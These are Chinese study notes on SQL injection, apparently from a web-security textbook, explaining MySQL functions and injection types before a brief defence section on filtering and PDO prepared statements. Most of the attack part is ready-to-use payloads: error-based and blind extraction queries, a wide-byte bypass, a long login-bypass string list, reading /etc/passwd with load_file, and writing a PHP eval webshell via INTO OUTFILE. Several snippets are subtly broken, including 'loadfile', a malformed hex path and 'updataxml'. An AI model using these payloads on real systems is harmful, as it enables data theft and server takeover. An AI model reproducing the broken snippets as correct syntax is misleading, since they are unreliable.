【Web安全攻防从入门到精通】SQL注入
SQL注入
SQL漏洞类型
常用函数
- 函数length()
length()函数是计算长度的函数
id=1' and length(database())=8;
- 函数left(a)=b
left()函数红,如果式子成立返回“1”,不成立返回“0”
select left(database(),1)='r'
- 函数substr
substr()和substring()函数实现的功能是一样的,均为截取字符串
substring(string, start, length)
substr(string, start, length)
length(可选)要返回的字符数。如果省略,则mid()函数返回剩余文本
select substr(database(),1,1)='a'
substr()函数可进行单字符验证,也可进行全字符验证
- 函数mid()
mid()函数示例代码如下
mid(string,start,length)
string(必须)规定要返回其中一部分的字符串
start(必须)规定开始位置(起始值是1)
length(可选)要返回的字符数。如果胜率,则mid()函数返回剩余文本
select mid(database(),1)='testt'
mid()函数可进行单字符验证,也可进行全字符验证
- 函数ASCII()
ASCII()函数返回字符串str的最左字符的数值。如果str为空字符串,返回“0”.如果str为“NULL”,返回NULL。ASCII()返回数值范围从0-255;只会返回最左边的字符的可以配合substr()函数
- ord函数
ord()函数返回字符串第个字符的ASCII值
- 函数updatexml()
updataxml()函数示例代码如下
updataxml(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(XPath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 函数exp()
exp()是以e为底的指数函数,可能会存在溢出
MySQL> select exp(1);
+-----------------+
|exp(1) |
+-----------------+
|2.718281828459045|
+-----------------+
1 row in set (0.00 sec)
数字太大时会产生溢出,代码如下所示,这个函数会在参数大于“709”时溢出,报错
MySQL> select exp(709);
+-----------------------+
|exp(709) |
+-----------------------+
|8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
MySQL> select exp(710);
ERROR 1690 (22003):DOUBLE value is out of range in 'exp(710)'
- 函数LIKE()
函数LIKE()为模糊查询。LIKE操作符作用于在WHERE子句中搜索列的指定模式
SELECT * FROM aaa WHERE City LIKE 'N%'
- 函数group_concat()
group_concat()函数将group by产生的同一分组中的值连接起来,返回一个字符串的结果。查询获得的数据组成一行显示
group_concat([DISTINCT] 要连接的字符 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
MySQL> select concat_ws('-',id,name,group_concat(score order by subject separator'-'))
as result from grade group by name;
result:
001-小明-85-90
- 函数concat()
concat()函数将多个字符串连接成一个字符串,字符串之间可以使用连接符,本次使用连接串“||”。返回结果为连接参数产生的字符串,如果有任何一个参数为NULL,则返回值为NULL
MySQL> select concat(Host,'||',User) from user;
+-----------------------+
|concat(Host,'||',User) |
+-----------------------+
|localhost||root |
+-----------------------+
1 row in set (0.00 sec)
- 函数count()
count()函数用于统计个数,如表个数、库个数等。
数字型和字符型
判断注入时,首先判断是数字型还是字符型,数字型不需要闭合就可以进行注入,而字符型需要闭合之后再进行注入。
报错注入
报错注入,顾名思义是利用数据库报错来判断是否存在注入点。如果不符合数据库语法规则,就会产生错误
常用函数如下
SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x;
Count()、rand()、group by
Floor()向下取整数、rand()产生0-1之间的随机数
Floor(rand(0)*2)记录需要3条以上,3条以上报错。
Floor(rand(0)*2)报错的原理是由于他的确定性,因为Floor(rand()*2)不加随机因子的时候是
随机出错的
concat()将符合条件的同一列中的不同行数据拼接
ExtractValue()和UpdataXML(),最长输出32位
常用的特殊字符如下
' \ ; %00 ) ( # "
注入语句
floor()函数
and (select * from (select count(*),concat(0x7e,(操作代码),floor(rand(0)*2),0x7e)x from information_schema.tables group by x)as y)
爆库
select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select schema_name from information_schema.schemata limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
爆表
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select table_name
from information_schema.`TABLES` WHERE table_schema = database() limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
爆字段
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
updatexml()函数
updatexml(XML_document,XPath_string,new_value)
XPath中不能有特殊符号,利用此特性,进行报错回显
updatexml(1,concat(0x7e,(代码),0x7e),1)
爆库
updatexml(1,concat(0x7e,database(),0x7e),1)
爆表
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)
爆字段
updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),0x7e),1)
盲注
- 时间型盲注
用if判断、sleep()函数,通过查看页面返回时间是否存在延时,分析是否存在注入
' and if(1,sleep(5),0)
- 布尔型盲注
通过页面的返回状态进行猜解,通过二分法的方式与ASCII值进行对比,判断每一位上的字符,常用函数有MID函数、length函数、left函数、ASCII函数、ord函数、substr函数
and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>65
堆叠查询注入
堆叠查询注入可以执行多条SQL语句,语句直接通过分号进行分隔。堆叠查询注入利用该特点,再第二条语句中构造自己要执行的语句,该语句可以支持个人构造的任何语句。Oracle不支持堆叠查询注入。
堆叠查询注入的利用条件比较严苛,只有当可以执行多条语句时才能使用。例如:
使用MySQLi_multi_query()可以执行多条语句,单MySQLi_query()只能执行一条语句
联合查询注入
利用条件:需要页面有显示位
联合查询注入通过判断查询的列数判断显示位,获取数据库名,并在显示位显示查询数据
UNION和UNION ALL的区别:UNION ALL会将所有的值显示;UNION只显示不重复的
二次注入
在用户输入非法字符时,代码做了转义或编码,单该输入香数据库存储输入时又还原了数据。
当Web参数再次调用该数据库中的恶意字符时,带有非法字符的参数发生注入。
例:“ 1’ ”被转义成为“ 1\’ ”,再次存储到数据库时编程 “ 1’ ”,当参数调用该值时,触发注入。
Cookie注入
正常的提交方式一般是GET和POST,但在获取数据时同样也会通过Cookie进行。在获取数据时,为了对用户输入的信息进行有效的过滤,可执行用户输入的SQL语句,这就是Cookie注入
编码注入
- 宽字节注入
由于数据库使用GBK编码,开发人员会对“ ‘ ”过滤,过滤后编程“ \’ ”,若要“ \ “消失,而后面继续执行SQL语句,则需要ASCII大于128,这样才可以与” \ “结合变成汉字。这里使用%df字符,其中” \ “ 的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
id=1' -------->id=1\'------->id=1%5c%27
id=1%df'------>id=1%df%5c%27--------->id=1%df5c%27-------->id=1'
常用字符编码对应如下
%27-----单引号
%20-----空格
%23-----#号
%5c-----/ 反斜杠
%df%27
常见的转移函数如下
addslashes进行转义
MySQL_real_escape_string函数
preg_replace函数
注意:白盒审计要先看清楚是否位GBK编码
- 二次urldecode注入
由于开发人员对用户输入的” ’ ” 、” “ ”、” \ ”、”null”加”\“进行转义,并进行编码,故” ‘ “变为” \’ “。
若用户输入”1%2527“,首先进行编码转换为”1%27“,再进行一次函数编码转换变为” 1’ “,则二次注入成立。所以,如果二次注入成立,需要编码函数在转义之后SQL语句之前才会形成二次注入。
XFF注入攻击
XFF,是X-Forwarded-For的缩写,主要用来查询用户IP是否为伪造IP。与数据库进行交互时,为了对用户输入的请求进行有效验证,导致执行SQL语句。
dns log监控DNS解析和HTTP访问记录
首先需要接收dns log数据的网站,而且需要可执行load_file() 函数,通过该函数与dnslog进行回显。
万能密码登陆
'or 1=1/*
"or "a"="a
"or 1=1--+
"or "="
"or "="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--+
'or 1=1/*
'or"a="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
SQL注入攻击手段
窃取哈希口令
MySQL在MySQL.user表中存储哈希口令,再提取。
哈希口令是通过password()函数计算的,查看password哈希值
select password('password')
读写文件
- load_file()读文件操作
- 知道文件的绝对路径
- 能够使用UNION查询
- 对Web目录有写的权限
union select 1,loadfile('/etc/passwd'),3,4,5#
0x2f6574632f06173737764
union select 1,loadfile(0x2f6574632f06173737764),3,4,5#
路径没有加单引号的话必须转换成16进制;要是想省略单引号,也必须转换为16进制
- into outfile写入文件操作
- 文件名必须是全路径(绝对路径)
- 用户必须有写文件的权限
- 没有对单引号进行过滤
select '<?php phpinfo();?>' into outfile 'c:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"])?>' into outfile 'C:\phpstudy\phpTutorial\www\8.php'
Php语句没有单引号的话,必须转换成十六进制;要是想省略单引号,也必须转换成十六进制
SQL数据库种类
- MySQL数据库
端口号:3306
- SQL Server
端口号:1433
- Oracle
端口号:1521
- PostgreSQL
端口号:5432或5433
- DB2
端口号:5000
- MongoDB
端口号:27017
SQL注入漏洞防御
数据库用户权限分明
建议对数据库设置最小权限分配,避免获取道数据库权限后进一步通过数据库权限获取服务器权限
代码层防御常用过滤函数
- str_replace()函数:替换过滤
str_replace()函数可以用其他字符替换字符串种的一些字符(区分大小写)
单引号(')
双引号(")
反斜杠(\)
NULL
- htmlspecialchars()函数
htmlspecialchars()函数把预定义的字符转换成HTML实体
&(和号)成为&
"(双引号)成为"
'(单引号)成为'
<>成为<>
就是把预定义的字符变成一个纯字符
- addslashes()函数
addslashes()函数返回在与定义字符之前添加反斜杠的字符串
单引号(')
双引号(")
反斜杠(\)
NULL
使用PDO预编译语句
使用预处理执行SQL语句,对所有传入SQL语句种的变量做绑定。这样,用户拼接进来的变量,无论输入什么内容,都会被当作替代符号”?“代替,并且数据库不会把恶意语句拼接进来的数据当作部分SQL语句去执行